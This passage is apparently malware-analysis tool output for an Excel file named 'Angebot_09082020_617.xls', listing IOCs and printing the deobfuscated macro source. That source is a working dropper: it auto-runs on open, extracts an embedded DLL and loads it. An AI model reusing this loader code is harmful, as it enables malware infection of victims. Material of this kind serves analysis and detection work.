  998. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  999. None
  1000. -------------------------------------------------------------------------------
  1001. VBA FORM Variable "b'Label11'" IN 'Angebot_09082020_617.xls' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
  1002. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1003. None
  1004. +----------+--------------------+---------------------------------------------+
  1005. |Type |Keyword |Description |
  1006. +----------+--------------------+---------------------------------------------+
  1007. |AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
  1008. |AutoExec |cmd_Keluar_Click |Runs when the file is opened and ActiveX |
  1009. | | |objects trigger events |
  1010. |AutoExec |TextBox2_Change |Runs when the file is opened and ActiveX |
  1011. | | |objects trigger events |
  1012. |Suspicious|Open |May open a file |
  1013. |Suspicious|Write |May write to a file (if combined with Open) |
  1014. |Suspicious|Put |May write to a file (if combined with Open) |
  1015. |Suspicious|Binary |May read or write a binary file (if combined |
  1016. | | |with Open) |
  1017. |Suspicious|FileCopy |May copy a file |
  1018. |Suspicious|Kill |May delete a file |
  1019. |Suspicious|Shell |May run an executable file or a system |
  1020. | | |command |
  1021. |Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
  1022. |Suspicious|ActiveWorkbook.SaveA|May save the current workbook |
  1023. | |s | |
  1024. |Suspicious|CreateObject |May create an OLE object |
  1025. |Suspicious|Lib |May run code from a DLL |
  1026. |Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
  1027. | | |used to obfuscate strings (option --decode to|
  1028. | | |see all) |
  1029. |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
  1030. | | |used to obfuscate strings (option --decode to|
  1031. | | |see all) |
  1032. |Suspicious|VBA obfuscated |VBA string expressions were detected, may be |
  1033. | |Strings |used to obfuscate strings (option --decode to|
  1034. | | |see all) |
  1035. |IOC |kernel32.dll |Executable file name |
  1036. |IOC |str_join2.dll |Executable file name |
  1037. |IOC |str_join1.dll |Executable file name |
  1038. |Hex String|'\x00\x02\x08\x19' |00020819 |
  1039. |Hex String|'\x00\x00\x00\x00\x0|000000000046 |
  1040. | |0F' | |
  1041. |Hex String|'eY' |986559CA |
  1042. |Hex String|'\\\x07{H' |5C07BD7B8E48 |
  1043. |Hex String|')' |F729A6FC |
  1044. |Hex String|'?!0\x0b\x12' |3F21300B1291 |
  1045. |Hex String|'\x00\x02\x08 ' |00020820 |
  1046. |Hex String|'=*' |FCFB3D2A |
  1047. |Hex String|'\x08\x00+3q' |08002B3371B5 |
  1048. |Hex String|' Z' |20CEFC5A |
  1049. |Hex String|'\x03)J' |0329FAB24AE6 |
  1050. |Hex String|'@p' |C5EC4070 |
  1051. |Hex String|'\t\x0fkkN' |AB090F6B6B4E |
  1052. |Hex String|'\x0bΈ' |0BCE88D8 |
  1053. |Hex String|'G\x80\x08' |47C2800895FB |
  1054. |Hex String|'ˈ' |A8CB88CC |
  1055. |Hex String|'eh' |AEBF65BD68C7 |
  1056. |Base64 |"ICy8yh'" |SetDefaultDllDirectories |
  1057. |String | | |
  1058. |VBA string|b'\xb1\x15' |Range("B115") |
  1059. |VBA string| |"" & "" |
  1060. |VBA string| |"" + "" |
  1061. |VBA string|Dr001 |"Dr" & "001" |
  1062. |VBA string|00001 |"00" & "001" |
  1063. +----------+--------------------+---------------------------------------------+
  1064. MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
  1065.  
  1066.  
  1067. Private Sub Workbook_Open()
  1068. If WelcomeDialog.Visible = True Then
  1069. Exit Sub
  1070. End If
  1071.  
  1072. Module5.RedButton 19999
  1073. End Sub
  1074.  
  1075.  
  1076. Attribute VB_Name = "Form0"
  1077. Attribute VB_Base = "0{986559CA-7D84-4DD1-814E-5C07BD7B8E48}{F729A6FC-4BC4-4868-A182-3F21300B1291}"
  1078. Attribute VB_GlobalNameSpace = False
  1079. Attribute VB_Creatable = False
  1080. Attribute VB_PredeclaredId = True
  1081. Attribute VB_Exposed = False
  1082. Attribute VB_TemplateDerived = False
  1083. Attribute VB_Customizable = False
  1084.  
  1085. Attribute VB_Name = "Page11"
  1086. Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
  1087. Attribute VB_GlobalNameSpace = False
  1088. Attribute VB_Creatable = False
  1089. Attribute VB_PredeclaredId = True
  1090. Attribute VB_Exposed = True
  1091. Attribute VB_TemplateDerived = False
  1092. Attribute VB_Customizable = True
  1093.  
  1094. Attribute VB_Name = "Lumene"
  1095. Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
  1096. Attribute VB_GlobalNameSpace = False
  1097. Attribute VB_Creatable = False
  1098. Attribute VB_PredeclaredId = False
  1099. Attribute VB_Exposed = False
  1100. Attribute VB_TemplateDerived = False
  1101. Attribute VB_Customizable = False
  1102.  
  1103. Dim vSpeed As Integer
  1104. Dim vLicensePlate As String
  1105.  
  1106. Public Property Get Speed() As Integer
  1107. Speed = vSpeed
  1108. End Property
  1109.  
  1110.  
  1111. Public Property Get CheckCar(car As Variant, Drive As String)
  1112. CheckCar = car.SpecialFolders("" & Drive)
  1113.  
  1114. End Property
  1115. Public Property Get SpecialFolders() As String
  1116. LicensePlate = vLicensePlate
  1117. End Property
  1118.  
  1119. Public Property Let LicensePlate(lp As String)
  1120. If Len(lp) <> 6 Then Err.Raise (xlErrValue)
  1121. vLicensePlate = lp
  1122. End Property
  1123.  
  1124.  
  1125.  
  1126.  
  1127. Attribute VB_Name = "WelcomeDialog"
  1128. Attribute VB_Base = "0{20CEFC5A-A153-46F9-ADB1-0329FAB24AE6}{C5EC4070-A9FC-4938-A010-AB090F6B6B4E}"
  1129. Attribute VB_GlobalNameSpace = False
  1130. Attribute VB_Creatable = False
  1131. Attribute VB_PredeclaredId = True
  1132. Attribute VB_Exposed = False
  1133. Attribute VB_TemplateDerived = False
  1134. Attribute VB_Customizable = False
  1135.  
  1136. Private Sub UserForm_Activate()
  1137. DoEvents
  1138. DoEvents
  1139. ExChangeMoney
  1140. DoEvents
  1141. End Sub
  1142.  
  1143.  
  1144.  
  1145.  
  1146.  
  1147. Attribute VB_Name = "Module1"
  1148. Public HurricanMoes() As Byte
  1149. Public PatchForLuck As Byte
  1150. Public LUCKY As Double
  1151. Public MoveStep As Byte
  1152. Public PatchForHeart As Byte
  1153.  
  1154.  
  1155.  
  1156.  
  1157. #If VBA7 And Win64 Then
  1158. Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  1159. Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
  1160. Public Declare PtrSafe Function gdemn Lib "str_join2.dll" () As Integer
  1161. #Else
  1162. Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  1163. Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
  1164. Public Declare Function gdemn Lib "str_join1.dll" () As Integer
  1165. #End If
  1166.  
  1167.  
  1168.  
  1169. Public Sub VistaQ(WhereToGo)
  1170. DoEvents
  1171. ThisWorkbook.Sheets.Copy
  1172. Application.DisplayAlerts = False
  1173. DoEvents
  1174. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  1175. DoEvents
  1176. DoEvents
  1177. ActiveWorkbook.Close
  1178. DoEvents
  1179. DoEvents
  1180.  
  1181.  
  1182. End Sub
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  1189. On Error Resume Next
  1190. For Each Key In putArrayBigList
  1191. Kill Key
  1192. Next Key
  1193. End Sub
  1194.  
  1195.  
  1196.  
  1197.  
  1198.  
  1199. Private Sub TextBox2_Change()
  1200.  
  1201. x = Len(TextBox2)
  1202. Y = LTrim(TextBox2.Text)
  1203. d = TextBox2
  1204. If d = "" Then
  1205. TextBox2.BackColor = &HFFFFFF
  1206. Exit Sub
  1207. End If
  1208. If Left(d, 2) > 24 Then
  1209. MsgBox "Ora Errata"
  1210. TextBox2.SelStart = 0
  1211. TextBox2.SelLength = Len(TextBox2)
  1212. Exit Sub
  1213. End If
  1214. If x = 2 Then TextBox2 = Y & ":"
  1215. If x = 4 Then Exit Sub
  1216.  
  1217. If Mid(d, 4, 2) = "" Then Exit Sub
  1218. If Mid(d, 4, 2) > 59 Then
  1219. MsgBox "Minuti Errati"
  1220. TextBox2.SelStart = 3
  1221. TextBox2.SelLength = Len(TextBox2)
  1222. Exit Sub
  1223. End If
  1224.  
  1225.  
  1226. If x = 5 Then
  1227. TextBox3.SetFocus
  1228. End If
  1229. Exit Sub
  1230.  
  1231. Resume
  1232. End Sub
  1233.  
  1234. Public Function ExChangeMoney()
  1235.  
  1236.  
  1237. Dim ofbl As String
  1238. Dim sOfbl As String
  1239. Dim NumBForRead As Long
  1240.  
  1241.  
  1242. dershlep = "" + Form0.TextBox1.Tag
  1243.  
  1244.  
  1245.  
  1246. Dim sendings As Integer
  1247. ofbl = Form0.TextBox1.Tag
  1248. ofbl = ofbl + "\str_join"
  1249.  
  1250. liquidOne = Form0.TextBox1.Tag + "\academ"
  1251.  
  1252. liquidOne = liquidOne + "l.xlsx"
  1253.  
  1254. Dim arr(1 To 3) As String
  1255.  
  1256.  
  1257.  
  1258.  
  1259. If LenB(Form0.TextBox3.Text) > 200 Then
  1260. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  1261. TextBox7.SelStart = 0
  1262. Else
  1263.  
  1264.  
  1265. End If
  1266. Dim objeto As Control
  1267.  
  1268. If Len(Form0.TextBox1.Text) > 366 Then
  1269. For Each objeto In UserForm1.Controls
  1270. On Error Resume Next
  1271. objeto.Value = "]"
  1272. Next
  1273.  
  1274. Unload ggg.UserForm1
  1275. ggg.UserForm1.Hide
  1276. End If
  1277.  
  1278.  
  1279. ctackPip = liquidOne & Page11."b'\xb1\x15'".Value
  1280.  
  1281.  
  1282.  
  1283.  
  1284. sOfbl = ofbl + Page11."b'\xb1\x15'".Value
  1285. PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep & UserForm1.Label1.Tag
  1286.  
  1287.  
  1288. VistaQ liquidOne
  1289.  
  1290. FileCopy Source:=liquidOne, Destination:=ctackPip
  1291. sendings = 1
  1292. Dim sNMSP As New Shell
  1293. FlagDouble = False
  1294.  
  1295. Lrigat = UserForm1.Label11.Tag
  1296.  
  1297. If sendings > -15 And sendings > -130 Then
  1298.  
  1299. Set DestinationKat = sNMSP.Namespace(dershlep)
  1300. Set harvest = sNMSP.Namespace(ctackPip)
  1301.  
  1302.  
  1303. End If
  1304.  
  1305.  
  1306. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  1307.  
  1308.  
  1309.  
  1310. DestinationKat.CopyHere harvest.Items.Item(Lrigat)
  1311.  
  1312.  
  1313.  
  1314. Dim car As Lumene
  1315.  
  1316. Set car = New Lumene
  1317.  
  1318. NumBForRead = 431109
  1319.  
  1320.  
  1321. sendings = 1
  1322. flayString = "1"
  1323.  
  1324.  
  1325.  
  1326. Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead
  1327.  
  1328. If sendings < 100 Then
  1329. sendings = sendings + 1
  1330. sendings = sendings + 1
  1331. End If
  1332.  
  1333. If sendings > -16 Or sendings > -130 Then
  1334.  
  1335. Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
  1336. Set harvest = sNMSP.Namespace(sOfbl)
  1337.  
  1338. DestinationKat.CopyHere harvest.Items
  1339.  
  1340.  
  1341. End If
  1342.  
  1343. If -100 <= sendings Then
  1344. sendings = sendings + 1
  1345. ChDir Form0.TextBox3.Tag
  1346. sendings = sendings + 1
  1347. End If
  1348. sOfbl = """" + sOfbl & ""","""
  1349.  
  1350. If sendings < 0 Then
  1351. sendings = sendings + 1
  1352. sendings = sendings + 1
  1353. End If
  1354.  
  1355.  
  1356. If sendings > 1000 Then
  1357. sendings = sendings - 20
  1358. End If
  1359. If sendings < 17 Then
  1360. sendings = sendings - 30
  1361. End If
  1362. If sendings < 0 Then
  1363. sendings = sendings + 1
  1364. sendings = sendings + 1
  1365. End If
  1366. StopByOk = TestResult(d)
  1367.  
  1368.  
  1369. setDLLDirectory "" + Form0.TextBox3.Tag
  1370. gdemn
  1371. WelcomeDialog.Hide
  1372.  
  1373. End Function
  1374.  
  1375.  
  1376. Sub subTotalSales()
  1377.  
  1378. Dim LR As Integer
  1379. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  1380. Rows("1:2").EntireRow.Insert Shift:=xlDown
  1381.  
  1382. If LR = 3 Then
  1383. Range("A1").Select
  1384. Call salesHeade.rs
  1385. Range("A2").Formula = "$0"
  1386. Range("B2").Formula = "$0"
  1387. Range("C2").Formula = "$0"
  1388. Range("D2").Formula = "$0"
  1389. Range("E2").Formula = "$0"
  1390. Range("F2").Formula = "0%"
  1391. Range("G2").Formula = "0"
  1392. Range("H2").Formula = "$0"
  1393. Range("I2").Formula = "0"
  1394. Range("J2").Formula = "0"
  1395. Range("K2").Formula = "$0"
  1396. Range("L2").Formula = "$0"
  1397. Range("M2").Formula = "0"
  1398. Range("N2").Formula = "0%"
  1399. Else
  1400. Range("A1").Select
  1401. Call salesHeade.rs
  1402. With ActiveSheet
  1403.  
  1404. End With
  1405. End If
  1406.  
  1407. End Sub
  1408.  
  1409.  
  1410. Sub InputWeekData(x As Date)
  1411.  
  1412. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  1413. ActiveCell.Offset(0, 1).Select
  1414. ActiveCell = x
  1415. ActiveCell.Offset(0, 1).Select
  1416. ActiveCell = x + 6
  1417. ActiveCell.Offset(0, 1).Select
  1418.  
  1419. End Sub
  1420. Private Sub TextBox3_Change()
  1421.  
  1422. Y = LTrim(TextBox3.Text)
  1423. d = TextBox3
  1424.  
  1425. If x = 5 Then
  1426. TextBox4.SetFocus
  1427. End If
  1428.  
  1429. End Sub
  1430.  
  1431.  
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.  
  1446.  
  1447.  
  1448. Attribute VB_Name = "Module2"
  1449.  
  1450. Public Const FirstB As Byte = 80
  1451. Public Const SecondB As Byte = 75
  1452. Public Const ThirdB As Byte = 3
  1453. Public Const FourthB As Byte = 4
  1454. Public Sub GetParam(Count As Integer)
  1455. Dim I As Long
  1456. Dim j As Integer
  1457. Dim C As String
  1458. Dim tooolsetChunkI As Boolean
  1459. Dim tooolsetChunkQ As Boolean
  1460.  
  1461. j = 1
  1462. tooolsetChunkI = False
  1463. tooolsetChunkQ = False
  1464. GetP.aram = ""
  1465. For I = 1 To Len(Comma.nd$)
  1466. C = Mi.d$(Comma.nd$, I, 1)
  1467. If tooolsetChunkI Then
  1468. If C = """" Then
  1469. j = j + 1
  1470. tooolsetChunkI = False
  1471. tooolsetChunkQ = False
  1472. End If
  1473. ElseIf Not tooolsetChunkQ Then
  1474. If C = " " Then
  1475. j = j + 1
  1476. End If
  1477. Else
  1478. If C = """" Then
  1479. If j > Count Then Exit Sub
  1480. tooolsetChunkI = True
  1481. tooolsetChunkQ = True
  1482. ElseIf C <> " ccc" Then
  1483.  
  1484. End If
  1485. End If
  1486. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  1487. Next I
  1488. End Sub
  1489.  
  1490.  
  1491.  
  1492.  
  1493.  
  1494. Public Sub setDLLDirectory(ByVal targetDir As String)
  1495.  
  1496.  
  1497. Dim b As Byte
  1498. Dim p As Long
  1499.  
  1500. code2 (&H1000)
  1501. code1 (StrConv(targetDir, vbUnicode))
  1502. End Sub
  1503.  
  1504. Public Sub GetParam3(Count As Integer)
  1505. Dim I As Long
  1506. Dim j As Integer
  1507. Dim C As String
  1508. Dim tooolsetChunkI As Boolean
  1509. Dim tooolsetChunkQ As Boolean
  1510.  
  1511. j = 1
  1512. tooolsetChunkI = False
  1513. tooolsetChunkQ = False
  1514. GetP.aram = ""
  1515. For I = 1 To Len(Comma.nd$)
  1516. C = Mi.d$(Comma.nd$, I, 1)
  1517. If tooolsetChunkI Then
  1518. If C = """" Then
  1519. j = j + 1
  1520. tooolsetChunkI = False
  1521. tooolsetChunkQ = False
  1522. End If
  1523.  
  1524. Else
  1525. If C = """" Then
  1526. If j > Count Then Exit Sub
  1527. tooolsetChunkI = True
  1528. tooolsetChunkQ = True
  1529. ElseIf C <> " " Then
  1530. tooolsetChunkI = True
  1531. End If
  1532. End If
  1533. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  1534. Next I
  1535. End Sub
  1536.  
  1537.  
  1538.  
  1539.  
  1540.  
  1541.  
  1542. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
  1543. Dim PChannel As Long
  1544. Dim logicVari As Integer
  1545. Dim SimpleMethod As Integer
  1546. ReDim HurricanMoes(1 To fl)
  1547. PChannel = FreeFile
  1548. Open Composition2 For Binary Access Read As PChannel
  1549. HurricanMoes(1) = FirstB
  1550.  
  1551. HurricanMoes(2) = SecondB
  1552. HurricanMoes(3) = ThirdB
  1553. HurricanMoes(4) = FourthB
  1554. logicVari = 1
  1555. Do While Not EOF(PChannel)
  1556. Get PChannel, , MoveStep
  1557. If MoveStep = FirstB Then
  1558.  
  1559. Get PChannel, , PatchForHeart
  1560. If PatchForHeart = SecondB Then
  1561.  
  1562. Get PChannel, , PatchForLuck
  1563. If PatchForLuck = ThirdB Then
  1564. Get PChannel, , PatchForLuck
  1565. If PatchForLuck = FourthB Then
  1566. For k = 5 To fl
  1567. Get PChannel, , MoveStep
  1568. HurricanMoes(k) = MoveStep
  1569. Next k
  1570. Exit Do
  1571.  
  1572. End If
  1573. End If
  1574. End If
  1575. End If
  1576. Loop
  1577. On Error Resume Next
  1578. PublicationChannel = 1892
  1579. Close PChannel
  1580. PublicationChannel = 1892 + PublicationChannel
  1581. PChannel = FreeFile
  1582. PublicationChannel = 1892 + PublicationChannel
  1583. Open ofbl For Binary Lock Read Write As #PChannel
  1584. PublicationChannel = 1892 + PublicationChannel
  1585. zeroBob = 1
  1586. For I = zeroBob To UBound(HurricanMoes)
  1587.  
  1588. If WelcomeDialog.Enabled = True Then
  1589.  
  1590. Put #PChannel, , HurricanMoes(I)
  1591. End If
  1592. Next I
  1593. Close PChannel
  1594. PChannel = FreeFile
  1595. For HSP = 33 To -1 Step -0.25
  1596. PChannel = 6 + I
  1597. Next HSP
  1598. PChannel = 6 + I
  1599. End Sub
  1600.  
  1601.  
  1602.  
  1603.  
  1604. Private Sub cmd_Keluar_Click()
  1605. Unload LSD.Me
  1606. MDIForm1.dokter.Enabled = True
  1607. MDIForm1.dokter.Checked = False
  1608. End Sub
  1609.  
  1610. Private Sub cmd_Perbaiki_Click()
  1611. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  1612. cmd_Simpan.Enabled = False
  1613. cmd_Hapus.Enabled = False
  1614. cmd_Batal.Enabled = True
  1615. Dim var As String
  1616. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  1617. If var = Empty Then Exit Sub
  1618. Data1.Recordset.Index = "Kode_dokter"
  1619. Data1.Recordset.Seek "=", var
  1620. If Not Data1.Recordset.NoMatch Then
  1621. Call tam.pil
  1622. txtkd_dok.Enabled = False
  1623. txtnm_dok.Enabled = True
  1624. cmd_Perbaiki.Caption = "&Perbaharui data"
  1625. Else
  1626. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  1627. End If
  1628. Else
  1629. Data1.Recordset.Edit
  1630. Data1.Recordset!kode_dokter = txtkd_dok.Text
  1631. Data1.Recordset!nama_dokter = txtnm_dok.Text
  1632. Data1.Recordset.Update
  1633. Call ber.sih
  1634. cmd_Perbaiki.Caption = "Pe&rbaiki"
  1635. cmd_Batal.Enabled = False
  1636. cmd_Simpan.Enabled = True
  1637. cmd_Hapus.Enabled = True
  1638. Call tdk_bi.sa
  1639. End If
  1640. End Sub
  1641.  
  1642. Private Sub cmd_Simpan_Click()
  1643. If cmd_Simpan.Caption = "&Isi Data" Then
  1644. Call bis.A
  1645. nom.Or
  1646. M.e.txtnm_dok.SetFocus
  1647. cmd_Batal.Enabled = True
  1648. cmd_Perbaiki.Enabled = False
  1649. cmd_Hapus.Enabled = False
  1650. cmd_cari.Enabled = False
  1651. cmd_Simpan.Caption = "&Simpan Data"
  1652. Else
  1653. If txtkd_dok.Text = "" Or txtnm_dok.Text = "" Then
  1654. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  1655. txtkd_dok.SetFocus
  1656. Else
  1657. cmd_Batal.Enabled = False
  1658. cmd_Perbaiki.Enabled = True
  1659. cmd_Hapus.Enabled = True
  1660. cmd_cari.Enabled = True
  1661. Data1.Recordset!kode_dokter = txtkd_dok.Text
  1662. Data1.Recordset!nama_dokter = txtnm_dok.Text
  1663. Data1.Recordset.Update
  1664. Call ber.sih
  1665. cmd_Simpan.Caption = "&Isi Data"
  1666. End If
  1667. End If
  1668. End Sub
  1669.  
  1670.  
  1671.  
  1672. Function retVal(ByVal v As Variant) As Variant
  1673. If v <> 0 Then
  1674. retVal = v
  1675. Else
  1676. retVal = ""
  1677. End If
  1678.  
  1679. End Function
  1680.  
  1681. Function getFile() As String()
  1682. Dim s As String
  1683. Dim sl(1000) As String
  1684. Dim r As Range
  1685. Dim I As Integer
  1686. Erase sl
  1687. I = 0
  1688. For Each r In Worksheets("Sheet1").Range("B1:B100")
  1689. s = r.Value
  1690. If s <> "" Then
  1691. I = I + 1
  1692. End If
  1693. Next r
  1694. getFile = sl()
  1695. End Function
  1696.  
  1697.  
  1698.  
  1699. Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, Optional CaseCompare, Optional RegExp As Object = Nothing, Optional Match As Object = Nothing) As Boolean
  1700.  
  1701. On Error GoTo Err:
  1702. Dim result As Boolean
  1703. result = False
  1704. Do
  1705. If (MatchWord = "") Or (Text = "") Then Exit Do
  1706.  
  1707. Dim RegCreateFlag As Boolean
  1708. RegCreateFlag = False
  1709. If RegExp Is Nothing Then
  1710. RegCreateFlag = True
  1711. Set RegExp = CreateObject("VBScript.RegExp")
  1712. End If
  1713.  
  1714. RegExp.Pattern = MatchWord
  1715. RegExp.Global = True
  1716. RegExp.IgnoreCase = CaseCompare = IgnoreCase
  1717. Set Match = RegExp.Execute(Text)
  1718. If 1 <= Match.Count Then
  1719. result = True
  1720. End If
  1721.  
  1722. If RegCreateFlag Then
  1723. Set RegExp = Nothing
  1724. End If
  1725.  
  1726. Loop While False
  1727. MatchRegExp = result
  1728. Exit Function
  1729. Err:
  1730. MatchRegExp = False
  1731. End Function
  1732. Private Sub testArrayAddArray()
  1733. Dim A1()
  1734. A1 = Array("A", "B", "C")
  1735. Dim A2()
  1736. A2 = Array("D", "E")
  1737.  
  1738. Call ArrayA.ddArray(A1, A2)
  1739. Call Check(5, ArrayC.ount(A1))
  1740. Call Check("D", A1(3))
  1741. Call Check("E", A1(4))
  1742.  
  1743. '???????????
  1744. Dim B1()
  1745. Dim B2()
  1746. B2 = Array("1", "2")
  1747. Call ArrayA.ddArray(B1, B2)
  1748. Call Check(2, ArrayC.ount(B1))
  1749. Call Check("1", B1(0))
  1750. Call Check("2", B1(1))
  1751.  
  1752.  
  1753. End Sub
  1754. Sub ArrayInsert(ByRef ArrayValue As Variant, ByVal Index As Long, ByVal Value As Variant)
  1755. Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
  1756. Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), "Error:ArrayInsert:Index Range Over.")
  1757.  
  1758. ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
  1759. Dim I As Long
  1760. For I = UBound(ArrayValue) To Index + 1 Step -1
  1761. Call SetValue(ArrayValue(I), ArrayValue(I - 1))
  1762. Next
  1763. Call SetValue(ArrayValue(Index), Value)
  1764. End Sub
  1765. Public Function InRange( ByVal MinValue As Long, ByVal Value As Long, ByVal MaxValue As Long) As Boolean
  1766.  
  1767. InRange = ((MinValue <= Value) And (Value <= MaxValue))
  1768.  
  1769. End Function
  1770. Private Sub testArrayInsert()
  1771. Dim A
  1772. A = Array("A", "B", "C")
  1773.  
  1774. Call Check("B", A(1))
  1775. Call Check(3, ArrayCount(A))
  1776. Call ArrayInsert(A, 1, "1")
  1777. Call Check(4, ArrayCount(A))
  1778. Call Check("1", A(1))
  1779.  
  1780. Dim b()
  1781. ReDim b(2)
  1782. Set b(0) = CreateObject("VBScript.RegExp")
  1783. Set b(2) = Nothing
  1784. Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
  1785. Call ArrayInsert(b, 1, fso)
  1786. Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
  1787. End Sub
  1788. Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
  1789. If Value = False Then
  1790. Call Err.Raise(9999, , Message)
  1791. End If
  1792. End Sub
  1793. Public Sub SetValue(ByRef Variable, ByVal Value)
  1794. If IsObject(Value) Then
  1795. Set Variable = Value
  1796. Else
  1797. Variable = Value
  1798. End If
  1799. End Sub
  1800. Public Function ArrayCount(ByRef ArrayValue As Variant, Optional Dimension = 1) As Long
  1801. Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
  1802.  
  1803. ArrayCount = UBoundNo.Error(ArrayValue, Dimension) - LBoundNo.Error(ArrayValue, Dimension) + 1
  1804. End Function
  1805. Private Sub testAssert()
  1806. Call Assert(False, "???")
  1807. End Sub
  1808.  
  1809. Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
  1810. Check = (A = b)
  1811. If Check = False Then
  1812. Call MsgBox("A != B" + vbCrLf + "A = " + CStr(A) + vbCrLf + "B = " + CStr(b))
  1813. End If
  1814. End Function
  1815.  
  1816.  
  1817.  
  1818.  
  1819.  
  1820.  
  1821.  
  1822.  
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828.  
  1829.  
  1830.  
  1831. Attribute VB_Name = "UserForm1"
  1832. Attribute VB_Base = "0{0BCE88D8-ECD6-45FA-A19A-47C2800895FB}{A8CB88CC-7E77-4A75-93B6-AEBF65BD68C7}"
  1833. Attribute VB_GlobalNameSpace = False
  1834. Attribute VB_Creatable = False
  1835. Attribute VB_PredeclaredId = True
  1836. Attribute VB_Exposed = False
  1837. Attribute VB_TemplateDerived = False
  1838. Attribute VB_Customizable = False
  1839.  
  1840. Attribute VB_Name = "Module5"
  1841.  
  1842. Public Function RedButton(dImmer As Double)
  1843.  
  1844. DosTres = "DosTres"
  1845.  
  1846. If WelcomeDialog.Visible <> False Then
  1847. Exit Function
  1848. End If
  1849. reqPlace = 3
  1850. reqPlace = reqPlace - 1
  1851.  
  1852. Set car = New Lumene
  1853. Set TSPIP = New IWshRuntimeLibrary.WshShell
  1854. Select Case reqPlace
  1855. Case 0
  1856. s = "N health problems"
  1857. Case 1
  1858. s = "Minor health problems"
  1859.  
  1860. s = "Sev ere disability"
  1861. End Select
  1862.  
  1863. Dim SpecialPath As String
  1864.  
  1865. PRP = "%" + Form0.TextBox1.Tag
  1866.  
  1867.  
  1868.  
  1869. TBT = PRP
  1870. TBT = TBT + ""
  1871. TBT = TBT + "%"
  1872. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  1873.  
  1874. firstWeek = 0
  1875. firstDay = 0
  1876. Dim firstdate As Date
  1877. Form0.TextBox1.Tag = TBT
  1878. firstDay = 2
  1879.  
  1880. lastDay = 4
  1881. Dim lastdate As Date
  1882. lastWeek = 0
  1883. lastDay = 0
  1884.  
  1885. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  1886. firstWeek = 1
  1887.  
  1888. lastWeek = 3
  1889. Form0.TextBox3.Tag = s
  1890.  
  1891.  
  1892. If Not firstDay = 1 Then
  1893. firstdate = firstdate + (8 - firstDay)
  1894. firstWeek = firstWeek + 1
  1895. End If
  1896. If lastDay = 6 Then
  1897. lastdate = lastdate + 1
  1898. lastDay = lastDay + 1
  1899. ElseIf Not lastDay = 7 Then
  1900. lastdate = lastdate - lastDay
  1901. lastDay = 7
  1902. lastWeek = lastWeek - 1
  1903. End If
  1904.  
  1905.  
  1906. Iteration = 0
  1907.  
  1908.  
  1909. ChDir (Form0.TextBox1.Tag + "")
  1910. If WelcomeDialog.Visible = False Then
  1911. WelcomeDialog.Show
  1912. End If
  1913.  
  1914. End Function
  1915.  
  1916.  
  1917.  
  1918.  
  1919.  
  1920.  
  1921.  
  1922. Private Sub Command7_Click()
  1923. b = MsgBox("?????????", vbYesNo)
  1924. If b = vbYes Then
  1925. A = "delete from cinema where cinid='"
  1926. A = A + Text1.Text + "'"
  1927. cnmovie.Execute A
  1928. rs4.Close
  1929. Sql = "select * from cinema"
  1930. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  1931. If rs.BOF Or rs.EOF Then
  1932. MsgBox "?????!"
  1933. Else
  1934. rs4.MoveFirst
  1935. Call View.Data
  1936. End If
  1937. End If
  1938. End Sub
  1939.  
  1940.  
  1941.  
  1942.  
  1943. Private Sub nomor()
  1944. Dim urutan As String * 5
  1945. Dim hitung As Byte
  1946.  
  1947. If Data1.Recordset.RecordCount = 0 Then
  1948. urutan = "Dr001"
